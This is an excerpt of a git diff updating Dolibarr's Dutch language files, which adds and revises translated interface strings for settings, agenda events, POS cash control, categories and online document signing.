      - Categorie van activiteiten: Gemengd - Levering van goederen en dienstverlening +InvoiceOptionCategoryOfOperationsYes1=Ja, onder het adresblok +InvoiceOptionCategoryOfOperationsYes2=Ja, in de linker benedenhoek ##### Proposals ##### PropalSetup=Offertemoduleinstellingen ProposalsNumberingModules=Offertenummeringmodules @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Watermerk op voorlopige contracten (leeg=geen) ##### Members ##### MembersSetup=Ledenmoduleinstellingen MemberMainOptions=Hoofdopties +MemberCodeChecker=Opties voor het automatisch genereren van lidcodes AdherentLoginRequired= Beheren van een login voor elk lid AdherentMailRequired=E-mail vereist om een nieuw lid te maken MemberSendInformationByMailByDefault=Vinkvakje om een bevestigingse-mail te sturen naar leden (validatie van nieuwe abonnementen). Staat standaard aan. MemberCreateAnExternalUserForSubscriptionValidated=Maak een externe gebruikerslogin aan voor elk gevalideerd nieuw lidmaatschap -VisitorCanChooseItsPaymentMode=Bezoeker kan kiezen uit beschikbare betalingsmodi +VisitorCanChooseItsPaymentMode=Bezoeker kan kiezen uit alle beschikbare betalingswijzen MEMBER_REMINDER_EMAIL=Automatische herinnering per e-mail inschakelen voor verlopen abonnementen. Opmerking: Module %s moet zijn ingeschakeld en correct zijn ingesteld om herinneringen te verzenden. MembersDocModules=Documentsjablonen voor documenten die zijn gegenereerd op basis van een ledenrecord ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Activeer FCKeditor voor: FCKeditorForNotePublic=WYSIWIG creatie/editie van het veld "openbare notities" van elementen FCKeditorForNotePrivate=WYSIWIG creatie/editie van het veld "private notes" van elementen FCKeditorForCompany=WYSIWIG creatie/editie van de veldbeschrijving van elementen (behalve producten/diensten) -FCKeditorForProduct=WYSIWIG creatie/editie van de veldbeschrijving van producten/diensten -FCKeditorForProductDetails=WYSIWIG creatie / editie van productdetails regels voor alle entiteiten (voorstellen, bestellingen, facturen, enz ...). Waarschuwing: het gebruik van deze optie in dit geval wordt serieus niet aanbevolen, aangezien het problemen kan veroorzaken met speciale tekens en paginaopmaak bij het samenstellen van PDF-bestanden. +FCKeditorForProductDetails=WYSIWIG creatie/editie van productbeschrijving of lijnen voor objecten (lijnen met voorstellen, bestellingen, facturen, enz...). +FCKeditorForProductDetails2=Waarschuwing: het gebruik van deze optie wordt in dit geval serieus afgeraden, omdat dit problemen kan veroorzaken met speciale tekens en paginaopmaak bij het samenstellen van PDF-bestanden. FCKeditorForMailing= WYSIWIG creatie / bewerking van mailings FCKeditorForUserSignature=WYSIWIG creatie /aanpassing van ondertekening FCKeditorForMail=WYSIWIG creatie / bewerking voor alle e-mail (behalve Gereedschap-> E-mailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menuverwerker waar het nieuwe menu getoond moet worden DetailMenuModule=Modulenaam als menu-item van een module afkomstig is DetailType=Menutype (boven of links (Top of Left)TODO) DetailTitre=Menulabel of labelcode voor de vertaling -DetailUrl=URL waar het menu naar linkt (Absolute URL-link of externe link met http://) +DetailUrl=URL waar het menu u naartoe stuurt (relatieve URL-link of externe link met https://) DetailEnabled=Voorwaarde voor het wel of niet tonen van het menu-item DetailRight=Voorwaarde om onbevoegde grijze menu's weer te geven DetailLangs=.lang bestandsnaam voor labelcodevertaling @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Gebruik gebeurtenistypen (beheerd in menu Setup -> Woor AGENDA_USE_EVENT_TYPE_DEFAULT=Stel deze standaardwaarde automatisch in voor het type evenement in het formulier voor het maken van een evenement AGENDA_DEFAULT_FILTER_TYPE=Stel dit type evenement automatisch in het zoekfilter van de agendaweergave in AGENDA_DEFAULT_FILTER_STATUS=Stel deze status automatisch in voor evenementen in het zoekfilter van de agendaweergave +AGENDA_EVENT_PAST_COLOR=Kleur van afgelopen evenement +AGENDA_EVENT_CURRENT_COLOR=Huidige gebeurteniskleur +AGENDA_EVENT_FUTURE_COLOR=Toekomstige evenementkleur AGENDA_DEFAULT_VIEW=Welke weergave wil je standaard openen als je menu Agenda selecteert AGENDA_REMINDER_BROWSER=Schakel gebeurtenisherinnering in de browser van de gebruiker in (wanneer de herinneringsdatum wordt bereikt, wordt een pop-up weergegeven door de browser. Elke gebruiker kan dergelijke meldingen uitschakelen via de instellingen van de browser). AGENDA_REMINDER_BROWSER_SOUND=Schakel geluidsmelding in @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Voorraadafname in POS is niet compati CashDeskYouDidNotDisableStockDecease=U hebt de voorraaddaling niet uitgeschakeld bij een verkoop vanuit het verkooppunt. Daarom is een magazijn vereist. CashDeskForceDecreaseStockLabel=Afname van voorraad voor batchproducten werd geforceerd. CashDeskForceDecreaseStockDesc=Verlaag eerst met de oudste eet- en verkoopdata. -CashDeskReaderKeyCodeForEnter=Code voor "Enter" gedefinieerd in barcodescanner (Voorbeeld: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII-code voor "Enter" gedefinieerd in barcodelezer (Voorbeeld: 13) ##### Bookmark ##### BookmarkSetup=Weblinkmoduleinstellingen BookmarkDesc=Met deze module kunt u bladwijzers beheren. U kunt ook snelkoppelingen toevoegen aan Dolibarr-pagina's of externe websites in het linkermenu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Nummeringsmodellen voor leveranciersfacturen IfSetToYesDontForgetPermission=Als deze is ingesteld op een niet-nulwaarde, vergeet dan niet om machtigingen te verstrekken aan groepen of gebruikers die zijn toegestaan voor de tweede goedkeuring ##### GeoIPMaxmind ##### GeoIPMaxmindSetup="GeoIP Maxmind"-moduleinstellingen -PathToGeoIPMaxmindCountryDataFile=Pad naar bestand met Maxmind IP-vertaling naar land.
      Voorbeelden:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Pad naar bestand met vertaling van Maxmind ip naar land NoteOnPathLocation=Let op dat uw "GeoIP Maxmind"-landbestand zich bevind in een map die door uw PHP-installatie kan worden gelezen (Controleer uwPHP open_basedir instelling en de bestandsrechten). YouCanDownloadFreeDatFileTo=U kunt een gratis demo versie downloaden van een "Maxmind GeoIP"-landbestand op het adres %s. YouCanDownloadAdvancedDatFileTo=U kunt ook een completere versie, met updates downloaden van het "Maxmind GeoIP"-landbestand op het adres %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard om een database-dumpbestand aan te maken BackupZipWizard=Wizard om een archief met documentenmap te maken SomethingMakeInstallFromWebNotPossible=Installatie van externe module is niet mogelijk via de webinterface om de volgende reden: SomethingMakeInstallFromWebNotPossible2=Om deze reden is het hier beschreven upgradeproces een handmatig proces dat alleen een bevoorrechte gebruiker mag uitvoeren. +InstallModuleFromWebHasBeenDisabledContactUs=Het installeren of ontwikkelen van externe modules of dynamische websites vanuit de applicatie is momenteel om veiligheidsredenen vergrendeld. Neem contact met ons op als u deze functie wilt inschakelen. InstallModuleFromWebHasBeenDisabledByFile=Installeren van externe module van toepassing is uitgeschakeld door uw beheerder. Je moet hem vragen om het bestand %s te verwijderen om deze functie mogelijk te maken. ConfFileMustContainCustom=Het installeren of bouwen van een externe module vanuit de applicatie moet de modulebestanden opslaan in de map %s . Om deze map door Dolibarr te laten verwerken, moet u uw conf / conf.php instellen om de 2 richtlijnregels toe te voegen:
      $ dolibarr_main_url_root_alt = '/ custom'
      $ dolibarr_main_document_root_alt = '%s / custom' HighlightLinesOnMouseHover=Markeer tabellijnen wanneer u er met de muis overheen gaat @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Verwijder speciale tekens COMPANY_AQUARIUM_CLEAN_REGEX=Regex-filter om waarde te reinigen (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex-filter om waarde op te schonen (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Dupliceren niet toegestaan +RemoveSpecialWords=Reinig bepaalde woorden bij het genereren van subaccounts voor klanten of leveranciers +RemoveSpecialWordsHelp=Geef de woorden op die moeten worden opgeschoond voordat de klant- of leveranciersrekening wordt berekend. Gebruik een ";" tussen elk woord GDPRContact=Functionaris voor gegevensbescherming (DPO, gegevensprivacy of GDPR-contact) GDPRContactDesc=Als u persoonsgegevens opslaat in uw Informatiesysteem, kunt u hier de contactpersoon noemen die verantwoordelijk is voor de Algemene Verordening Gegevensbescherming HelpOnTooltip=Help-tekst om op knopinfo weer te geven @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Doeldirectory voor mailbox EmailcollectorOperations=Operaties te doen door verzamelaar EmailcollectorOperationsDesc=Bewerkingen worden op volgorde begin tot eind uitgevoerd MaxEmailCollectPerCollect=Max aantal verzamelde e-mails per verzameling +TestCollectNow=Test verzamelen CollectNow=Verzamel nu ConfirmCloneEmailCollector=Weet u zeker dat u de e-mailcollector %s wilt klonen? DateLastCollectResult=Datum laatste poging van verzamelen @@ -2109,6 +2140,7 @@ CodeLastResult=Laatste resultaatcode NbOfEmailsInInbox=Aantal e-mails in bronmap LoadThirdPartyFromName=Zoeken van derden laden op %s (alleen laden) LoadThirdPartyFromNameOrCreate=Zoeken van derden laden op %s (maken indien niet gevonden) +LoadContactFromEmailOrCreate=Contact zoeken laden op %s (maken indien niet gevonden) AttachJoinedDocumentsToObject=Sla bijgevoegde bestanden op in objectdocumenten als een referentie van een object wordt gevonden in een e-mailonderwerp. WithDolTrackingID=Bericht inzake een gesprek geïnitieerd door een eerste e-mail verzonden vanuit Dolibarr WithoutDolTrackingID=Bericht van een gesprek geïnitieerd door een eerste e-mail die NIET is verzonden vanuit Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Projectlabel PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Alias opnemen in naam van derde partij THIRDPARTY_ALIAS=Naam derde partij - Alias derde partij ALIAS_THIRDPARTY=Alias derde partij - Naam derde partij +PDFIn2Languages=Toon labels in PDF in 2 verschillende talen PDF_USE_ALSO_LANGUAGE_CODE=Als u wilt dat sommige teksten in uw PDF worden gedupliceerd in 2 verschillende talen in dezelfde gegenereerde PDF, moet u hier deze tweede taal instellen, zodat de gegenereerde PDF 2 verschillende talen op dezelfde pagina bevat, degene die is gekozen bij het genereren van PDF en deze ( slechts enkele PDF-sjablonen ondersteunen dit). Voor 1 taal per pdf leeg houden. PDF_USE_A=Genereer PDF-documenten met formaat PDF/A in plaats van standaard formaat PDF FafaIconSocialNetworksDesc=Voer hier de code van een FontAwesome-pictogram in. Als je niet weet wat FontAwesome is, kun je het generieke waarde fa-adresboek gebruiken. @@ -2211,12 +2244,12 @@ MailToPartnership=Vennootschap AGENDA_EVENT_DEFAULT_STATUS=Standaard gebeurtenisstatus bij het maken van een gebeurtenis vanuit het formulier YouShouldDisablePHPFunctions=U moet PHP-functies uitschakelen IfCLINotRequiredYouShouldDisablePHPFunctions=Behalve als u systeemopdrachten in aangepaste code moet uitvoeren, moet u PHP-functies uitschakelen -PHPFunctionsRequiredForCLI=Voor shell-doeleinden (zoals geplande back-up van taken of het uitvoeren van een anitivurs-programma), moet u PHP-functies behouden +PHPFunctionsRequiredForCLI=Voor shell-doeleinden (zoals geplande taakback-up of het uitvoeren van een antivirusprogramma), moet u PHP-functies behouden NoWritableFilesFoundIntoRootDir=Er zijn geen beschrijfbare bestanden of mappen van de gebruikelijke programma's gevonden in uw hoofdmap (Goed) RecommendedValueIs=Aanbevolen: %s Recommended=Aanbevolen NotRecommended=Niet aangeraden -ARestrictedPath=Een beperkt pad +ARestrictedPath=Een beperkt pad voor gegevensbestanden CheckForModuleUpdate=Controleren op updates van externe modules CheckForModuleUpdateHelp=Deze actie maakt verbinding met editors van externe modules om te controleren of er een nieuwe versie beschikbaar is. ModuleUpdateAvailable=Een update is beschikbaar @@ -2264,10 +2297,10 @@ LateWarningAfter="Vertraagde" waarschuwing na TemplateforBusinessCards=Sjabloon voor een visitekaartje in een ander formaat InventorySetup= Setup inventarisatie ExportUseLowMemoryMode=Gebruik een modus met weinig geheugen -ExportUseLowMemoryModeHelp=Gebruik de modus met weinig geheugen om de exec van de dump uit te voeren (compressie gebeurt via een pijp in plaats van in het PHP-geheugen). Met deze methode kan niet worden gecontroleerd of het bestand is voltooid en een foutbericht kan niet worden gerapporteerd als het mislukt. +ExportUseLowMemoryModeHelp=Gebruik de lage geheugenmodus om het dumpbestand te genereren (compressie gebeurt via een pijp in plaats van in het PHP-geheugen). Met deze methode kan niet worden gecontroleerd of het bestand compleet is en kan er geen foutbericht worden gemeld als het mislukt. Gebruik het als u niet genoeg geheugenfouten ervaart. ModuleWebhookName = webhook -ModuleWebhookDesc = Interface om dolibarr-triggers te vangen en naar een URL te sturen +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook instellen Settings = Instellingen WebhookSetupPage = Webhook-instellingenpagina @@ -2288,6 +2321,8 @@ IconOnly=Alleen pictogram - Alleen tekst op knopinfo INVOICE_ADD_ZATCA_QR_CODE=Toon de ZATCA QR-code op facturen INVOICE_ADD_ZATCA_QR_CODEMore=Sommige Arabische landen hebben deze QR-code nodig op hun facturen INVOICE_ADD_SWISS_QR_CODE=Toon de Zwitserse QR-factuurcode op facturen +INVOICE_SHOW_SHIPPING_ADDRESS=Verzendadres tonen +INVOICE_SHOW_SHIPPING_ADDRESSMore=Verplichte vermelding voor Frankrijk UrlSocialNetworksDesc=URL-link van sociaal netwerk. Gebruik {socialid} voor het variabele deel dat de sociale netwerk-ID bevat. IfThisCategoryIsChildOfAnother=Als deze categorie een kind is van een andere DarkThemeMode=Donkere themamodus @@ -2307,3 +2342,37 @@ UsePassword=Gebruik een wachtwoord UseOauth=Gebruik een OAUTH-token Images=Afbeeldingen MaxNumberOfImagesInGetPost=Maximaal aantal afbeeldingen toegestaan in een HTML-veld ingediend in een formulier +MaxNumberOfPostOnPublicPagesByIP=Max. aantal berichten op openbare pagina's met hetzelfde IP-adres in een maand +CIDLookupURL=De module brengt een URL die door een externe tool kan worden gebruikt om de naam van een derde partij of contactpersoon van zijn telefoonnummer te krijgen. De te gebruiken URL is: +ScriptIsEmpty=Het script is leeg +ShowHideTheNRequests=Toon/verberg de %s SQL-aanvraag(en) +DefinedAPathForAntivirusCommandIntoSetup=Definieer een pad voor een antivirusprogramma in %s +TriggerCodes=Activeerbare gebeurtenissen +TriggerCodeInfo=Voer hier de triggercode(s) in die een bericht van een webverzoek moeten genereren (alleen externe URL's zijn toegestaan). U kunt meerdere triggercodes invoeren, gescheiden door een komma. +EditableWhenDraftOnly=Indien niet aangevinkt, kan de waarde alleen worden gewijzigd als het object de conceptstatus heeft +CssOnEdit=Css op bewerkingspagina's +CssOnView=Css op weergavepagina's +CssOnList=Css op lijstpagina's +HelpCssOnEditDesc=De CSS die wordt gebruikt bij het bewerken van het veld.
      Voorbeeld: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=De gebruikte CSS bij het bekijken van het veld. +HelpCssOnListDesc=De CSS die wordt gebruikt wanneer het veld zich in een lijsttabel bevindt.
      Voorbeeld: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Verberg de bestelde hoeveelheid op de gegenereerde documenten voor ontvangsten +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Toon de prijs op de gegenereerde documenten voor recepties +WarningDisabled=Waarschuwing uitgeschakeld +LimitsAndMitigation=Toegangslimieten en beperking +DesktopsOnly=Alleen desktops +DesktopsAndSmartphones=Desktops en smartphones +AllowOnlineSign=Sta online ondertekenen toe +AllowExternalDownload=Externe download toestaan (zonder login, met behulp van een gedeelde link) +DeadlineDayVATSubmission=Deadline voor btw-indiening in de volgende maand +MaxNumberOfAttachementOnForms=Max. aantal samengevoegde bestanden in een formulier +IfDefinedUseAValueBeetween=Gebruik indien gedefinieerd een waarde tussen %s en %s +Reload=Herladen +ConfirmReload=Bevestig het opnieuw laden van de module +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/nl_NL/agenda.lang b/htdocs/langs/nl_NL/agenda.lang index 31ef150c482..720b2232561 100644 --- a/htdocs/langs/nl_NL/agenda.lang +++ b/htdocs/langs/nl_NL/agenda.lang @@ -7,7 +7,7 @@ Agendas=Agenda's LocalAgenda=Standaard kalender ActionsOwnedBy=Actie gevraagd door ActionsOwnedByShort=Eigenaar -AffectedTo=Geaffecteerden +AffectedTo=Toegewezen aan Event=Actie Events=Gebeurtenissen EventsNb=Aantal gebeurtenissen @@ -45,6 +45,7 @@ CONTRACT_DELETEInDolibarr=Contract %s verwijderd PropalClosedSignedInDolibarr=Voorstel %s getekend PropalClosedRefusedInDolibarr=Voorstel %s afgewezen PropalValidatedInDolibarr=Voorstel %s gevalideerd +PropalBackToDraftInDolibarr=Voorstel %s ga terug naar conceptstatus PropalClassifiedBilledInDolibarr=Voorstel %s geclassificeerd als gefactureerd InvoiceValidatedInDolibarr=Factuur %s gevalideerd InvoiceValidatedInDolibarrFromPos=Factuur %s gevalideerd in verkooppunt @@ -56,6 +57,7 @@ MemberValidatedInDolibarr=Lid %s gevalideerd MemberModifiedInDolibarr=Lid %s gewijzigd MemberResiliatedInDolibarr=Lidmaatschap %s beëindigd MemberDeletedInDolibarr=Lid %s verwijderd +MemberExcludedInDolibarr=Member %s excluded MemberSubscriptionAddedInDolibarr=Abonnement %s voor lid %s toegevoegd MemberSubscriptionModifiedInDolibarr=Abonnement %s voor lid %s gewijzigd MemberSubscriptionDeletedInDolibarr=Abonnement %s voor lid %s verwijderd @@ -64,8 +66,10 @@ ShipmentClassifyClosedInDolibarr=Verzending %s geclassificeerd als gefactureerd ShipmentUnClassifyCloseddInDolibarr=Zending %s geclassificeerd, opnieuw openen ShipmentBackToDraftInDolibarr=Zending %s ga terug naar conceptstatus ShipmentDeletedInDolibarr=Verzending %s verwijderd -ShipmentCanceledInDolibarr=Shipment %s canceled +ShipmentCanceledInDolibarr=Verzending%s geannuleerd ReceptionValidatedInDolibarr=Ontvangst %s gevalideerd +ReceptionDeletedInDolibarr=Reception %s deleted +ReceptionClassifyClosedInDolibarr=Receptie %s geclassificeerd gesloten OrderCreatedInDolibarr=Bestelling %s aangemaakt OrderValidatedInDolibarr=Opdracht %s gevalideerd OrderDeliveredInDolibarr=Bestelling %s is geleverd @@ -84,6 +88,7 @@ SupplierInvoiceSentByEMail=Leveranciersfactuur %s verzonden per e-mail ShippingSentByEMail=Zending %s verzonden per e-mail ShippingValidated= Verzending %s gevalideerd InterventionSentByEMail=Interventie %s verzonden per e-mail +ProjectSentByEMail=Project %s sent by email ProposalDeleted=Voorstel verwijderd OrderDeleted=Bestelling verwijderd InvoiceDeleted=Factuur verwijderd @@ -157,6 +162,7 @@ DateActionBegin=Begindatum ConfirmCloneEvent=Weet u zeker dat u gebeurtenis %s wilt klonen? RepeatEvent=Herhaal gebeurtenis/taak OnceOnly=Eenmalig +EveryDay=Every day EveryWeek=Elke week EveryMonth=Elke maand DayOfMonth=Dag van de maand @@ -171,4 +177,5 @@ ReminderType=Terugbellen AddReminder=Maak een automatische herinneringsmelding voor deze afspraak ErrorReminderActionCommCreation=Fout bij het maken van de herinneringsmelding voor deze afspraak BrowserPush=Browser pop-up melding -ActiveByDefault=Enabled by default +ActiveByDefault=Standaard ingeschakeld +Until=until diff --git a/htdocs/langs/nl_NL/banks.lang b/htdocs/langs/nl_NL/banks.lang index 7ddc5abd9ac..47bf2f30b04 100644 --- a/htdocs/langs/nl_NL/banks.lang +++ b/htdocs/langs/nl_NL/banks.lang @@ -172,8 +172,8 @@ SEPAMandate=SEPA mandaat YourSEPAMandate=Uw SEPA mandaat FindYourSEPAMandate=Met deze SEPA machtiging geeft u ons bedrijf toestemming een opdracht ter incasso te sturen naar uw bank. Retourneer het ondertekend (scan van het ondertekende document) of stuur het per e-mail naar AutoReportLastAccountStatement=Vul bij het automatisch afstemmen het veld 'aantal bankafschriften' in met het laatste afschrift nummer. -CashControl=POS cash control -NewCashFence=New cash control (opening or closing) +CashControl=POS-kassacontrole +NewCashFence=Nieuwe kassacontrole (openen of sluiten) BankColorizeMovement=Inkleuren mutaties BankColorizeMovementDesc=Als deze functie is ingeschakeld, kunt u een specifieke achtergrondkleur kiezen voor debet- of creditmutaties BankColorizeMovementName1=Achtergrondkleur voor debetmutatie @@ -182,6 +182,6 @@ IfYouDontReconcileDisableProperty=Als u op sommige bankrekeningen geen bankafste NoBankAccountDefined=Geen bankrekening gedefinieerd NoRecordFoundIBankcAccount=Geen record gevonden in de bankrekening. Vaak gebeurt dit wanneer een record handmatig is verwijderd uit de lijst van banktransacties (bijvoorbeeld tijdens een reconciliatie van de bankrekening). Een andere reden is dat de betaling was vastgelegd terwijl module "%s" was uitgeschakeld. AlreadyOneBankAccount=Er is al een bankrekening gedefinieerd -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA transfer: 'Payment Type' at 'Credit Transfer' level -SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=When generatin a SEPA XML file for Credit transfers, the section "PaymentTypeInformation" can now be placed inside the "CreditTransferTransactionInformation" section (instead of "Payment" section). We strongly recommend to keep this unchecked to place PaymentTypeInformation at Payment level, as all banks will not necessarily accept it at CreditTransferTransactionInformation level. Contact your bank before placing PaymentTypeInformation at CreditTransferTransactionInformation level. -ToCreateRelatedRecordIntoBank=To create missing related bank record +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA-overboeking: 'Betalingstype' op 'Credit Transfer'-niveau +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Bij het genereren van een SEPA XML-bestand voor overschrijvingen kan de sectie "BetalingstypeInformatie" nu in de sectie "CreditTransferTransactionInformation" worden geplaatst (in plaats van de sectie "Betaling"). We raden ten zeerste aan om dit uitgeschakeld te laten om PaymentTypeInformation op Betalingsniveau te plaatsen, aangezien niet alle banken dit noodzakelijkerwijs accepteren op CreditTransferTransactionInformation-niveau. Neem contact op met uw bank voordat u PaymentTypeInformation op CreditTransferTransactionInformation-niveau plaatst. +ToCreateRelatedRecordIntoBank=Ontbrekend gerelateerd bankrecord maken: diff --git a/htdocs/langs/nl_NL/cashdesk.lang b/htdocs/langs/nl_NL/cashdesk.lang index 6c761e4fdef..db00968b310 100644 --- a/htdocs/langs/nl_NL/cashdesk.lang +++ b/htdocs/langs/nl_NL/cashdesk.lang @@ -50,8 +50,8 @@ Footer=Voetnoot AmountAtEndOfPeriod=Bedrag aan het einde van de periode (dag, maand of jaar) TheoricalAmount=Theoretisch bedrag RealAmount=Aanwezig bedrag -CashFence=Cash box closing -CashFenceDone=Cash box closing done for the period +CashFence=Kassa sluiten +CashFenceDone=Kassa sluiting gedaan voor de periode NbOfInvoices=Aantal facturen Paymentnumpad=Soort betaling om de betaling in te voeren Numberspad=Cijferblok @@ -102,8 +102,8 @@ CashDeskGenericMaskCodes6 =  
      {TN} tag wordt gebruikt om het terminal TakeposGroupSameProduct=Groepeer dezelfde productlijnen StartAParallelSale=Start een nieuwe parallelle verkoop SaleStartedAt=Verkoop begon op %s -ControlCashOpening=Open the "Control cash box" popup when opening the POS -CloseCashFence=Close cash box control +ControlCashOpening=Open de pop-up "Kassa beheren" bij het openen van de kassa +CloseCashFence=Kassabediening sluiten CashReport=Kassa verslag MainPrinterToUse=Hoofdprinter om te gebruiken OrderPrinterToUse=Bestel printer om te gebruiken @@ -136,3 +136,12 @@ PrintWithoutDetails=Afdrukken zonder details YearNotDefined=Jaar is niet gedefinieerd TakeposBarcodeRuleToInsertProduct=Streepjescode regel om product in te voegen TakeposBarcodeRuleToInsertProductDesc=Regel om de productreferentie + een hoeveelheid uit een gescande barcode te halen.
      Indien leeg (standaardwaarde), gebruikt de applicatie de volledige gescande barcode om het product te vinden.

      Indien gedefinieerd, moet de syntaxis zijn:
      ref:NB+qu:NB+qd:NB+other:NB
      waarbij NB het aantal tekens is dat moet worden gebruikt om gegevens uit de gescande streepjescode te extraheren met:
      • ref : product referentie
      • qu : aantal in te stellen bij het invoeren van artikel (eenheden)
      • qd : hoeveelheid die moet worden ingesteld bij het invoegen van een item (decimalen)
      • other : andere karakters
      +AlreadyPrinted=Reeds afgedrukt +HideCategories=Hide categories +HideStockOnLine=Hide stock on line +ShowOnlyProductInStock=Show the products in stock +ShowCategoryDescription=Show category description +ShowProductReference=Show reference of products +UsePriceHT=Use price excl. taxes and not price incl. taxes +TerminalName=Terminal %s +TerminalNameDesc=Terminal name diff --git a/htdocs/langs/nl_NL/categories.lang b/htdocs/langs/nl_NL/categories.lang index 3715b52b9ea..8f41c0cb335 100644 --- a/htdocs/langs/nl_NL/categories.lang +++ b/htdocs/langs/nl_NL/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Dit lid komt niet voor in kenmerken/categorieën ContactHasNoCategory=Dit contact staat in geen label/categorieën ProjectHasNoCategory=Dit project komt niet voor bij labels/categorieën ClassifyInCategory=Toevoegen aan label/categorie +RemoveCategory=Remove category NotCategorized=Zonder label/categorie CategoryExistsAtSameLevel=Deze categorie bestaat al op hetzelfde niveau ContentsVisibleByAllShort=Inhoud zichtbaar voor iedereen @@ -67,6 +68,7 @@ StockCategoriesShort=Magazijn-tags / categorieën ThisCategoryHasNoItems=Deze categorie bevat geen items. CategId=Label/categorie id ParentCategory=Bovenliggende groep/categorie +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label van bovenliggende groep/categorie CatSupList=Lijst met leveranciers groepen/ categorieën CatCusList=Lijst met klant groepen/categorieën @@ -86,15 +88,18 @@ DeleteFromCat=Verwijderen uit labels/categorie ExtraFieldsCategories=Complementaire kenmerken CategoriesSetup=Labels/categorieën instelling CategorieRecursiv= Automatische koppeling met bovenliggende label/categorie -CategorieRecursivHelp=Als de optie is ingeschakeld, wordt het product ook toegevoegd aan de bovenliggende categorie wanneer u een product toevoegt aan een subcategorie. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Voeg het volgende product/dienst toe AddCustomerIntoCategory=Wijs categorie toe aan klant AddSupplierIntoCategory=Wijs categorie toe aan leverancier +AssignCategoryTo=Categorie toewijzen aan ShowCategory=Toon label/categorie ByDefaultInList=Standaard in de lijst ChooseCategory=Kies categorie StocksCategoriesArea=Magazijncategorieën +TicketsCategoriesArea=Tickets Categorieën ActionCommCategoriesArea=Evenementcategorieën WebsitePagesCategoriesArea= Categorieën voor Page-Container -KnowledgemanagementsCategoriesArea=KM article Categories +KnowledgemanagementsCategoriesArea=KM artikel Categorieën UseOrOperatorForCategories=Gebruik de 'OF'-operator voor categorieën +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/nl_NL/commercial.lang b/htdocs/langs/nl_NL/commercial.lang index 634c78c3313..0f130aaaf80 100644 --- a/htdocs/langs/nl_NL/commercial.lang +++ b/htdocs/langs/nl_NL/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Prospect-status DraftPropals=Ontwerp van commerciële voorstellen NoLimit=Geen limiet ToOfferALinkForOnlineSignature=Link online ondertekenen -WelcomeOnOnlineSignaturePage=Welkom op de pagina om commerciële voorstellen van %s te accepteren -ThisScreenAllowsYouToSignDocFrom=Dit scherm geeft u de mogelijkheid voor acceptatie en ondertekening van de prijsopgave/offerte -ThisIsInformationOnDocumentToSign=Informatie om te weigeren of te accepteren +WelcomeOnOnlineSignaturePageProposal=Welkom op de pagina om commerciële voorstellen van %s te accepteren +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Dit scherm geeft u de mogelijkheid voor acceptatie en ondertekening van de prijsopgave/offerte +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Informatie om te weigeren of te accepteren +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Handtekening van offerte/commercieel voorstel %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Online tekenen niet mogelijkheid of document is aangemaakt voordat dit was aangezet diff --git a/htdocs/langs/nl_NL/compta.lang b/htdocs/langs/nl_NL/compta.lang index 2ffdfc74c2a..318359d8e1f 100644 --- a/htdocs/langs/nl_NL/compta.lang +++ b/htdocs/langs/nl_NL/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Saldo (vóór) Balance=Saldo Debit=Debet Credit=Credit +AccountingDebit=Debet +AccountingCredit=Credit Piece=Boekhouding Doc. AmountHTVATRealReceived=Netto ontvangen AmountHTVATRealPaid=Netto betaald @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Omzet rapportage 